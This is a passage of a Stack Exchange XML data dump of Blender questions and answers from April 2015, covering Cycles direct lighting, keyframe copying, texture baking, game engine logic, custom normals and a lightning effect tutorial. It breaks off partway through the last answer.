  <row Id="28343" PostTypeId="1" CreationDate="2015-04-10T22:41:59.093" Score="2" ViewCount="1190" Body="&lt;p&gt;I'm using Cycles to  render a simple scene that consists of a simple house (4 cubes and 1 plane), which contains some furniture (see my file &lt;a href=&quot;http://www.pasteall.org/blend/35552&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/35552&lt;/a&gt; ). Normally, using direct lighting allows me to reduce the render time considerably. So I fixed the bounce max and min to 1. I used &lt;strong&gt;&lt;em&gt;path tracing integrator&lt;/em&gt;&lt;/strong&gt; and limited &lt;strong&gt;&lt;em&gt;global illumination as Light Paths option.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kBnu6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not used  any texture image for the furniture. I used just a diffuse material (diffuse BSDF node).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rendering time is 20 s/ frame on CPU i7 dual core and 8 GB RAM. I think it is too long for direct lighting. Any comments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gyZsn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorDisplayName="user1853" LastEditDate="2015-04-11T01:59:41.540" LastActivityDate="2015-04-11T01:59:41.540" Title="Rendering with direct lighting takes too long" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28344" PostTypeId="2" ParentId="28343" CreationDate="2015-04-11T00:31:56.660" Score="7" Body="&lt;p&gt;For direct lighting in Cycles, you need to set bounces to 0, not 1, as done by the Direct Light preset. There is a bounce of indirect light in your render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get performance closer to Blender Internal direct lighting, you can switch to branched path tracing, lower AA samples to e.g. 8, and increase the samples on the individual lights and world as needed to reduce noise.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2015-04-11T00:31:56.660" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28345" PostTypeId="1" AcceptedAnswerId="28451" CreationDate="2015-04-11T00:46:54.517" Score="4" ViewCount="8040" Body="&lt;p&gt;I am having a lot of problems trying to do a certain thing. I'm trying to integrate a simple scene into Cycles from Blender Internal, and to do that, I have to append a version of the rig for my character that was designed for Cycles instead of BI. I really can't just go into Cycles and re-texture it. I can import the new rig, but I have to also be able to copy every single keyframe from the first version to the second. The copy and paste feature is simply not working. I can't just go into the dope sheet or graph editor, select everything and press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; and paste the group of keyframes into the second rig's dope sheet or graph editor. It acts as if there's nothing in my clipboard at all. I have searched far and wide for something useful, but nothing works. Even the articles on this site which appear to have the same problem don't appear to be working for me. I am using version 2.73.&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2017-10-04T11:45:29.143" Title="How to copy keyframes from one armature to another" Tags="&lt;armature&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28346" PostTypeId="2" ParentId="28335" CreationDate="2015-04-11T00:57:09.210" Score="5" Body="&lt;p&gt;This is caused by the color of the Diffuse surface. A whiter surface reflects more light, while a grayer surface reflects less. The only difference between the below planes is the color, the distance from the light source and the other material options are identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K1agC.png&quot; alt=&quot;Grey vs. White&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the difference is quite pronounced. The whiter plane (right side) reflects much more light. When you use a texture to drive color, you are mixing the two of these, resulting in a more broken up diffuse shading.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-04-11T01:05:01.680" LastActivityDate="2015-04-11T01:05:01.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28347" PostTypeId="2" ParentId="17776" CreationDate="2015-04-11T01:01:03.800" Score="6" Body="&lt;p&gt;You can have an empty emitting no collision planes (the texture is not animated, the object, however, has animated scale). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The planes here are animated so they start small, get larger, and then shrink back down again before disappearing. they also randomly rotate to make the fire look more realistic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FEC0r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the object ends itself one logic tick &lt;em&gt;After&lt;/em&gt; the animation finishes playing. This is only the logic for the plane with the fire texture to make it scale and rotate. it is parented to an empty that always tracks to the camera and moves along the global Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jgaq8.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The emitters add that empty, and the empty is added with the fire plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q6oNm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I played around with the animation for scaling the flame, and the speed at which it rises. I am also using multiple emitters and I have adjusted the opacity on the flames to make them more transparent. I also having it randomly adding lamps that last for one logic tick to create the flickering effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9rLb5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(textures not packed, flames will be pink.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original blend file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/168/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=168&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file with campfire &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/176/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=176&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-04-11T17:53:18.790" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28348" PostTypeId="2" ParentId="27669" CreationDate="2015-04-11T01:26:23.430" Score="5" Body="&lt;p&gt;Although no one can seem to find the problem you are having, There is a fail-proof method you can use here that skips the regard for frames and replaces them with logic ticks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use this logic setup, The frame that &lt;em&gt;CubeActon&lt;/em&gt; is on will always correspond to the integer property &lt;strong&gt;Frame&lt;/strong&gt;. Clicking the mouse will set the Boolean property &lt;strong&gt;Play?&lt;/strong&gt; to &lt;em&gt;true&lt;/em&gt;. When &lt;strong&gt;Play?&lt;/strong&gt; is true, the integer property &lt;strong&gt;Frame&lt;/strong&gt; will increase by 1 every logic tick. When &lt;strong&gt;Frame&lt;/strong&gt; is equal to 5, &lt;strong&gt;Frame&lt;/strong&gt; will be assigned the value of 0 and &lt;strong&gt;Play?&lt;/strong&gt; will be assigned false, upon clicking will start the process over again. enabling &lt;em&gt;true level triggering&lt;/em&gt; on the &lt;em&gt;left click&lt;/em&gt; mouse sensor on the object &lt;strong&gt;Cube&lt;/strong&gt; will make it repeat the animation as soon as it ends. &lt;strong&gt;Effectively making it fully auto.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EXw39.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't expect anyone to actually try to replicate that, so just look at the blend and make use of &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/170/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=170&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-04-11T13:09:40.967" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28349" PostTypeId="2" ParentId="28328" CreationDate="2015-04-11T02:01:32.070" Score="12" Body="&lt;p&gt;You can UVmap a cube and add a Glossy Material to it.  Set the Roughness parameter to 0.0&#xA;Add a Sub-Surface Modifier to the cube and set it to about 4 iterations, this helps for baking the Glossy Shader properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a texture node to the material so the sky can be baked to the UV Coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZrVfC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now invert the faces for the cube so they face inwards. This should work as a SkyBox. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qHtFV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the sky to be available in a GLSL shader as a reflection map then you may want to pay closer attention to how the UV's are laid out since a game engine may have specific layout requirements for skybox/enviroment/cubeMaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some reference on how to code a cubemap using a runtime technique that was published by nVidia, it uses nVidia CG which is a shader language that is compatible with both OpenGL and DirectX.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://web-beta.archive.org/web/20160408223256/http://http.developer.nvidia.com:80/CgTutorial/cg_tutorial_chapter07.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://web-beta.archive.org/web/20160408223256/http://http.developer.nvidia.com:80/CgTutorial/cg_tutorial_chapter07.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the source code to go along with the CgTutorial&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.nvidia.com/cg-toolkit-download&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.nvidia.com/cg-toolkit-download&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2017-06-11T18:13:47.577" LastActivityDate="2017-06-11T18:13:47.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28350" PostTypeId="1" CreationDate="2015-04-11T02:09:42.690" Score="4" ViewCount="452" Body="&lt;p&gt;I am making different sets of baked textures for multiple objects and it takes a very long time to save them one by one for each set. Is there a way to save all baked textures in batch process?&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-11T12:38:48.260" Title="How to save multiple baked textures?" Tags="&lt;python&gt;&lt;texture-baking&gt;&lt;file-browser&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28351" PostTypeId="2" ParentId="27477" CreationDate="2015-04-11T02:31:16.117" Score="1" Body="&lt;p&gt;The answer for this is Very simple. Modifiers do not update in the game engine (Only the selected frame will display) &lt;strong&gt;and&lt;/strong&gt; generated textures do not work in the BGE either. What you are trying to do will not work, at least with the current approach you are trying to use. This will obviously work the previewing it in the viewport, because modifiers and generated textures work for Blender Internal, just not the game engine. When you press &lt;kbd&gt;P&lt;/kbd&gt;, only one frame of your plane with the modifier is displaying. View &lt;a href=&quot;https://blender.stackexchange.com/q/21797/5426&quot;&gt;This question&lt;/a&gt; on why modifiers will not update in the game engine.&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-04-11T02:31:16.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28352" PostTypeId="2" ParentId="28028" CreationDate="2015-04-11T04:05:45.360" Score="3" Body="&lt;p&gt;You can unwrap individual segments, then using &lt;kbd&gt;P&lt;/kbd&gt; button to add some pinned vertices in the UV/Image editor to control the shape to match the wave texture while using Live Unwrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7DngE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pgbxp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2016-09-15T01:56:51.173" LastActivityDate="2016-09-15T01:56:51.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28353" PostTypeId="2" ParentId="27423" CreationDate="2015-04-11T05:09:18.833" Score="1" Body="&lt;p&gt;I solved this with manualy: I convert the MP4 with VLC to MP4. :) This is a rough solution but works.&lt;/p&gt;&#xA;" OwnerUserId="13613" LastActivityDate="2015-04-11T05:09:18.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28354" PostTypeId="2" ParentId="12347" CreationDate="2015-04-11T06:09:23.213" Score="2" Body="&lt;p&gt;Unfortunately not. The closest there currently is in official blender is &lt;a href=&quot;https://blender.stackexchange.com/a/24288/599&quot;&gt;&lt;em&gt;follow playback&lt;/em&gt;&lt;/a&gt;, which will at least keep the playback head in the view.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-04-11T06:09:23.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28355" PostTypeId="2" ParentId="27522" CreationDate="2015-04-11T06:19:38.883" Score="1" Body="&lt;p&gt;The engine is set to &lt;em&gt;Blender internal&lt;/em&gt;. &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.73/UI#Small_Improvements&quot; rel=&quot;nofollow noreferrer&quot;&gt;As of 2.73&lt;/a&gt; &lt;kbd&gt;P&lt;/kbd&gt; only starts the game engine when the render engine is set to &lt;em&gt;Blender Game&lt;/em&gt; at the top of the screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xes75.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that that file was made in 2.4x. The 2.4x python api is not compatible with the 2.5x+ api, so the python scripts won't work. If you want to run that file, you can download 2.49b &lt;a href=&quot;http://download.blender.org/release/Blender2.49b/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-11T06:19:38.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28356" PostTypeId="2" ParentId="28269" CreationDate="2015-04-11T09:33:41.903" Score="2" Body="&lt;p&gt;You can do this by setting the Variable type to Single Property, and the prop type to Scene. As ive done in this image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do it in the python you can address the scene directly, rather than using context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.scenes['Scene'].render.fps&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cArKv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastActivityDate="2015-04-11T09:33:41.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28357" PostTypeId="1" CreationDate="2015-04-11T10:15:11.530" Score="2" ViewCount="86" Body="&lt;p&gt;So I have a problem were I add a new keyframe in between a loop the last keyframe takes the new keyframe's value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say I have :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;keyframe 1: x=0&lt;/li&gt;&#xA;&lt;li&gt;keyframe 2: x=16&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and then I add &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;keyframe 3: x=6 &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;in between. What happens then is that keyframe 2 value changes to 6? I have been searching to modify this behaviour everywhere, but don't seem to be able, any help?&lt;/p&gt;&#xA;" OwnerUserId="13728" LastEditorUserId="3710" LastEditDate="2015-04-11T11:15:24.193" LastActivityDate="2015-04-11T13:19:55.910" Title="Adding a new keyframe while working with dopesheet sets the last keyframe to the current" Tags="&lt;keyframes&gt;&lt;dopesheet&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28362" PostTypeId="2" ParentId="28350" CreationDate="2015-04-11T12:38:48.260" Score="1" Body="&lt;p&gt;Switch to Texture Paint mode and use the Save All Images button.  It will save any images that have been altered so long as they have already been previously saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rvzsD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, I make sure everything is savable by preparing the textures in the folder on the hard-drive and then drag and drop them into the materials. This is quick and Blender will have a location to save them to when you use the image save button.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-04-11T12:38:48.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28363" PostTypeId="1" AcceptedAnswerId="28374" CreationDate="2015-04-11T12:40:57.553" Score="5" ViewCount="3344" Body="&lt;p&gt;I've assigned material with textures and it displays properly in viewport, however, material preview still doesn't show my texture: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qcnxI.jpg&quot; alt=&quot;No material preview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same thing in Material tab, the texture doesn't show, it's only a white sphere. Am i missing something?&#xA;BTW. Why to assign material, we must enter the Edit mode? It's problematic when assigning material to many different objects. Or maybe again i'm missing something here? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender file:&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/173/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=173&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8335" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-04-11T17:04:35.043" Title="Texture not visible in material preview" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="28364" PostTypeId="2" ParentId="28304" CreationDate="2015-04-11T13:18:11.057" Score="1" Body="&lt;p&gt;I'm sure someone will school me if I'm wrong (please do!):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Python multiprocessing module allows one to run concurrent python code, this makes sense for processes that don't rely on each other to reach a conclusion. What you want to do is get Blender to concurrently perform the sound bake function (C code). As far as I'm aware calls to that function are blocking Blender from doing anything else until the function ends and control is returned to python. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's right, then A solution could be the one I offered in the comment s:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use Popen or &lt;a href=&quot;https://docs.python.org/3/library/subprocess.html&quot; rel=&quot;nofollow&quot;&gt;subprocess&lt;/a&gt; and instantiate multiple Blender threads with scripts, and  append the &lt;em&gt;F-curves&lt;/em&gt; from each resulting .blend into a final .blend.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-15T19:32:41.650" LastActivityDate="2015-04-15T19:32:41.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28367" PostTypeId="1" CreationDate="2015-04-11T15:02:04.613" Score="3" ViewCount="893" Body="&lt;p&gt;So i have been playing with split custom normals. I figured out that i have to add an array of normals to get started. And i also figured out that i have to use zero vectors as placeholders where i do not want to have custom normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tgt = bpy.context.object&#xA;zv = (0.0,0.0,0.0)                 # my zero vector&#xA;normals = [zv]*len(tgt.data.loops) # the array of normals&#xA;tgt.data.normals_split_custom_set(normals)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above seems to work but i get 2 strange issues:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) When i call this code while the object is in edit mode, then actually nothing happens (no split custom normals are assigned to my object)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) When i call this code while the object is in object mode, then the array is assigned to the object, but in addition all edges between smooth faces are marked as sharp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my object before i add the custom split normals:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OLTt2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is right after i called the code snippet from above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t2pfb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect to see no changes at all (because the entire normals array has zero vectors). So i guess i have forgotten something to setup. But i have no idea what i am doing wrong.&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2015-04-11T15:07:56.180" LastActivityDate="2015-04-19T17:27:43.393" Title="Adding custom split normals enables sharp on edges between smooth faces?" Tags="&lt;python&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28368" PostTypeId="1" CreationDate="2015-04-11T15:21:06.343" Score="0" ViewCount="184" Body="&lt;p&gt;How can I make an object's animation only play when that object is moving?&lt;br&gt;&#xA;I do not need it to play on mouse press, only when's it's moving.&lt;/p&gt;&#xA;" OwnerUserId="13622" LastEditorUserId="2217" LastEditDate="2015-04-11T16:09:42.913" LastActivityDate="2015-04-11T16:09:42.913" Title="In BGE, can you make an objects animation only play when that object is in motion?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28369" PostTypeId="2" ParentId="28368" CreationDate="2015-04-11T15:30:25.937" Score="1" Body="&lt;p&gt;Well, make a Mouse sensor, and controller and action actuator and connect them together. Set the mouse sensor to what you need(for example, left button with true level triggering) and action actuator to your action! So simple!;)&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-04-11T15:30:25.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28370" PostTypeId="2" ParentId="25928" CreationDate="2015-04-11T15:31:18.423" Score="1" Body="&lt;p&gt;A commit was made a few days ago by Antony Riakiotakis, one of the blender developers, to fix this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/rB711a5c79d8c4105dc0ccf771b79d66c79ee3c570&quot; rel=&quot;nofollow noreferrer&quot;&gt;rB711a5c79d8c4: Don't use vertex colors in textured mesh display during texpaint&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To quote Antony:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Don't use vertex colors in textured mesh display during texpaint.&lt;/p&gt;&#xA;&lt;p&gt;Wasn't that irritating?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Because of the timing of this commit I imagine the fix will appear in 2.75.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-11T15:31:18.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28371" PostTypeId="2" ParentId="21739" CreationDate="2015-04-11T15:37:41.050" Score="13" Body="&lt;p&gt;To create your lighting &lt;a href=&quot;https://blender.stackexchange.com/a/7672/3127&quot;&gt;start with a mesh&lt;/a&gt;, you will need to add thickness to it, so apply a skin modifier, enter edit mode, and use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to scale the &amp;quot;thickness&amp;quot; of you mesh until your satisfied with you lighting.&lt;/p&gt;&#xA;&lt;p&gt;There are now to approaches, the not so great looking and very very slow  material only approach, or the materials and composting approach which will go much faster and look way better&lt;/p&gt;&#xA;&lt;h1&gt;Material Only&lt;/h1&gt;&#xA;&lt;h3&gt;Approach&lt;/h3&gt;&#xA;&lt;p&gt;Lighting lights up the whole sky, since what it is in essence doing, is illuminating dust and water/mist in the atmosphere with its very intense glow. In this solution we will replicate that by using volumemetric rendering. For this we will need two materials, &lt;strong&gt;lightning&lt;/strong&gt; and &lt;strong&gt;atmosphere&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h3&gt;lightning materal&lt;/h3&gt;&#xA;&lt;p&gt;For the lighting, we will only need a simple two node shader:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m4cds.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The emission will create a very bright white mesh, and it will have a blue cast on surrounding objects.&lt;/p&gt;&#xA;&lt;h3&gt;Atmosphere material&lt;/h3&gt;&#xA;&lt;p&gt;The atmosphere will have a &amp;quot;haze&amp;quot;, in order to do this, we need to give the world a volume by adding two nodes, &lt;strong&gt;volume scatter and volume absorption&lt;/strong&gt;. The volume scatter will cause the light to spread inside the world, while the volume absorption will cause the light to fade, stopping our lighting for illuminating the entire atmosphere. Balancing the density of the volume scatter &amp;amp; volume absorption is the key too a good result. Having the volume scatter be two dense will cause the lighting to white out the sky, while having the absorption two dense will cause the lighting glow to all but disappear. The ratio between them controls the spread of the lighting glow.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G20er.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Result&lt;/h3&gt;&#xA;&lt;p&gt;Rendered at &lt;strong&gt;50,000&lt;/strong&gt; samples, taking &lt;strong&gt;50 minutes&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KofFM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/174/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=174&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Approach Downsides&lt;/h3&gt;&#xA;&lt;p&gt;Renders will appear noisy even at sample counts as high as &lt;strong&gt;50,000&lt;/strong&gt;, and render times can take &lt;strong&gt;hours&lt;/strong&gt;. it also just doesn't look that good.&lt;/p&gt;&#xA;&lt;h1&gt;Material &amp;amp; Compositing&lt;/h1&gt;&#xA;&lt;h3&gt;Approach&lt;/h3&gt;&#xA;&lt;p&gt;Because of the incredibly time consuming render times of the previous approach, and the difficulty of fine tuning, this in many ways is the superior approach. Instead of using volume, we will try to fake the light spreading by using blue nodes in the compositor.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;lightning material will stay &lt;a href=&quot;https://i.stack.imgur.com/m4cds.png&quot; rel=&quot;noreferrer&quot;&gt;the same as above&lt;/a&gt;&lt;/strong&gt;, but this time we won't modify the world material at all. Instead we will go into the compositor to add the glow&lt;/p&gt;&#xA;&lt;h3&gt;Scene setup&lt;/h3&gt;&#xA;&lt;p&gt;Set the lightnings material index to 1, instead of 0.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rkFu3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next check the Object Index pass in the Scene properties&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1B4Pk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Node setup&lt;/h3&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V1YaV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I used the Object index here, since its values were  1 - 0 vs the render had values of several thousand for the whites, since the lightning was set to realistic brightness levels. I then used curves to raise the brightness to acquire more glow. I then used the glare node to blur (thanks, &lt;a 